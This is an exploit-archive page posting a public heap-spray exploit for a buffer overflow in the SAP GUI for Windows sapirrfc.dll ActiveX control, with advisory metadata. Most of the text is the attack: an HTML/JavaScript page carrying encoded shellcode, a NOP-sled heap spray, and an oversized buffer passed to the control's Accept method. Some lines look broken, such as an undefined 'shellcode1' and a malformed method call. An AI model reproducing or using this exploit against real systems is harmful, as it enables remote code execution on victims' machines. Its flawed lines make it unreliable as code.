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SAP GUI for Windows sapirrfc.dll Overflow

SAP GUI for Windows sapirrfc.dll Overflow
Posted Dec 13, 2009
Authored by Abysssec | Site abysssec.com

SAP GUI for Windows sapirrfc.dll Active-X overflow exploit.

tags | exploit, overflow, activex
systems | windows
SHA-256 | fb087f2477c856e8815f8b0952df2ba073d8a422225953ad69fc32b0a388ffcb

SAP GUI for Windows sapirrfc.dll Overflow

Change Mirror Download
<html>
<title> SAP GUI for Windows sapirrfc.dll (Accecpt) Activex Overflow </title>
<center>
<h1> www.Abysssec.com Public Exploit <h1>
</center>
<object classid='clsid:77F12F8A-F117-11D0-8CF1-00A0C91D9D87' id='target' />
<script>
/*
Application: SAP GUI for Windows, EnjoySAP
Versions Affected: Version 6.4
Vendor URL: http://SAP.com
Bugs: Buffer Overflow
Exploits: YES
Reported: 13.11.2008
Vendor response: 17.11.2008
Date of Public Advisory: 08.06.2009
CVE-number:
Discovery : Alexander Polyakov
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Exploit : www.Abysssec.com

Note : it's really simple exploit i wrote a few month ago ... no point to keep it private ....

For more Information visit www.abysssec.com

Mail : Admin@abysssec.com

=========================================================================================================
References:
***********
SAP note 1286637

https://service.sap.com/sap/support/notes/1286637
==========================================================================================================


*/
function spary() {

// win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
"%u314e%u7475%u7038%u7765%u4370");

//Declares bigblock with 90909090
var bigblock = unescape("%u9090%u9090");
// The IE uses 0x20 headersize
var headersize = 20;
//20 + length of shellcode
var slackspace = headersize + shellcode1.length;
// While (length of what is copying from bigblock, ie 90909090 less than 20 + along the shellcode, increase 90909090 )
while (bigblock.length < slackspace) bigblock += bigblock;
// Top of the fillblock = 90909090, and all but what is the slackspace.
var fillblock = bigblock.substring(0,slackspace);
// Block = Since the early 9090 ... and all but (the length of the 9090 ...least slackspace)
var block = bigblock.substring(0,bigblock.length - slackspace);
// While (length + slackspace block is less than 0x40000) block is equal to the aggregate in the block + block + Fillblock
while (block.length + slackspace < 0x40000) block = block + block + fillblock;

// Simple, created in the memory block + shellcode 1000.
var memory = new Array();
for (i = 0; i < 1000; i++){ memory[i] = block + shellcode }

// Execute vulnerable function and copy buffer + shellcode and + spary the heap to execute our values
var buffer = ""
for (i = 0; i < 40000; i++) { buffer = buffer + unescape("%0D") }
target.Accept buffer
spary();
</script>
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